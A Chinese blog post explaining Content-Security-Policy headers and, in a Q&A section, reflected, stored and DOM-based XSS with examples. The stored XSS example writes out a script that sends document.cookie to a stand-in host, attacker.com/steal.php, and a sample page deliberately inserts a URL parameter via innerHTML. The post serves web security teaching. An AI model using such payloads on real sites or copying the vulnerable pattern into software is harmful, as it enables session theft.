Content-Security-Policy

原创已于 2025-03-13 17:15:55 修改 · 941 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#Http

于 2024-04-17 10:38:19 首次发布

Content-Security-Policy - HTTP | MDN (mozilla.org)

Content-Security-Policy（CSP）是一种附加的安全机制，通过 HTTP 头来配置，用于帮助检测和缓解诸如跨站脚本攻击（XSS）和数据注入等特定类型的攻击。下面详细解释它在防止跨站脚本攻击和管理 Web 应用资源加载方面的重要性：

防止跨站脚本攻击（XSS）

XSS 攻击原理：跨站脚本攻击是指攻击者在 Web 页面中注入恶意脚本（通常是 JavaScript），当用户访问该页面时，这些恶意脚本会在用户的浏览器中执行。攻击者可以利用 XSS 窃取用户的会话 cookie、个人信息或执行其他恶意操作。例如，攻击者可以在一个评论表单中注入一段 JavaScript 代码，当其他用户查看包含该评论的页面时，代码就会在他们的浏览器中运行。
CSP 如何防止 XSS：CSP 通过定义哪些源（如域名、路径）被允许加载脚本、样式表、图片等资源来防止 XSS。它会告诉浏览器只执行来自受信任源的脚本，阻止任何未被列入白名单的脚本执行。例如，设置 Content-Security-Policy: script-src 'self' 表示只允许从当前域名加载脚本，这样即使页面中存在恶意注入的脚本，由于它不是来自指定的受信任源，浏览器也不会执行它，从而有效防止了 XSS 攻击。

管理 Web 应用资源加载

控制资源来源：CSP 允许开发者精确控制 Web 应用从哪些地方加载各种资源。除了脚本（script-src），还包括样式表（style-src）、图片（img-src）、字体（font-src）、媒体文件（media-src）等。例如，Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; img-src * 表示样式表可以从当前域名和 https://fonts.googleapis.com 加载，而图片可以从任何源加载。
防止资源劫持：通过限定资源的来源，CSP 可以防止攻击者通过中间人攻击等方式劫持资源的加载，将恶意资源注入到页面中。例如，攻击者可能试图拦截页面的样式表请求并返回一个恶意的样式表，从而篡改页面的外观或执行其他恶意行为。但如果设置了严格的 CSP，浏览器只会加载来自受信任源的样式表，从而避免这种情况的发生。
增强安全性和可维护性：明确的 CSP 策略有助于开发者更好地管理应用的资源依赖，及时发现和修复潜在的安全漏洞。同时，它也使得应用更加可预测，因为开发者可以清楚地知道哪些资源是被允许加载的，哪些是被禁止的。这有助于提高应用的安全性和稳定性，减少因资源加载问题导致的安全风险。

总结

Content-Security-Policy（CSP）的 HTTP 头实现是一种强大的安全工具，它通过严格控制 Web 应用资源的加载来源，在防止跨站脚本攻击和管理资源加载方面发挥着重要作用。合理配置 CSP 可以显著增强 Web 应用的安全性，保护用户免受各种恶意攻击，并提高应用的整体稳定性和可维护性。

Q1：跨站脚本不太明白，能举个例子吗？

好的，下面为你详细介绍跨站脚本（XSS）攻击的不同类型，并通过具体例子帮助你理解：

反射型 XSS

原理：攻击者将恶意脚本作为参数嵌入到 URL 中，当用户点击这个带有恶意脚本的链接时，服务器会将恶意脚本反射回用户的浏览器，浏览器执行该脚本从而造成攻击。
例子：假设有一个简单的搜索页面，其 URL 结构为 https://example.com/search?q=关键词。攻击者构造一个恶意链接 https://example.com/search?q=<script>alert('你被攻击了！');</script>。当用户点击这个链接时，服务器收到 q 参数的值并将其显示在搜索结果页面上。由于没有对用户输入进行适当的过滤，浏览器会将 <script>alert('你被攻击了！');</script> 当作 JavaScript 代码执行，弹出警告框。更严重的是，攻击者可以通过这种方式获取用户的 cookie 等敏感信息，例如使用 document.cookie 获取 cookie 并发送到自己的服务器上。

存储型 XSS

原理：攻击者将恶意脚本提交到服务器并存储在数据库等存储介质中（如评论区、留言板等）。当其他用户访问包含该恶意脚本的页面时，浏览器会从服务器获取并执行这些脚本，从而实现攻击。
例子：在一个论坛网站上，有一个用户评论功能。攻击者在发表评论时，输入恶意脚本 <script>document.location.href='https://attacker.com/steal.php?cookie='+document.cookie;</script>。如果网站对用户输入的评论没有进行严格的过滤和转义处理，这段脚本就会被存储到数据库中。当其他用户浏览该帖子时，浏览器会加载包含恶意脚本的评论内容，并执行该脚本。这样，用户的 cookie 就会被发送到攻击者指定的 https://attacker.com/steal.php 页面，攻击者可以利用这些 cookie 来冒充用户进行各种操作，如登录用户账号、篡改用户数据等。

DOM 型 XSS

原理：基于文档对象模型（DOM）的 XSS 攻击，攻击代码并不通过服务器返回，而是利用页面中的 JavaScript 代码对 DOM 进行不当操作，当页面中存在对用户输入数据的处理逻辑且没有正确验证和过滤时，攻击者可以通过构造特殊的输入来触发恶意脚本的执行。
例子：假设网页中有一段 JavaScript 代码用于根据 URL 参数来显示不同的内容，代码如下：

html

<!DOCTYPE html>
<html>
<body>
<div id="content"></div>
<script>
    var urlParams = new URLSearchParams(window.location.search);
    var paramValue = urlParams.get('data');
    document.getElementById('content').innerHTML = paramValue;
</script>
</body>
</html>

攻击者构造一个恶意链接 https://example.com/page.html?data=<script>alert('DOM 型 XSS 攻击');</script>。当用户访问这个链接时，JavaScript 代码获取到 data 参数的值并将其插入到页面的 content 元素中。由于没有对 paramValue 进行安全处理，浏览器会将插入的内容当作 JavaScript 代码执行，弹出警告框，实现了 DOM 型 XSS 攻击。

这些例子展示了跨站脚本攻击的常见方式和危害，理解这些有助于在开发 Web 应用时采取相应的安全措施来防范此类攻击。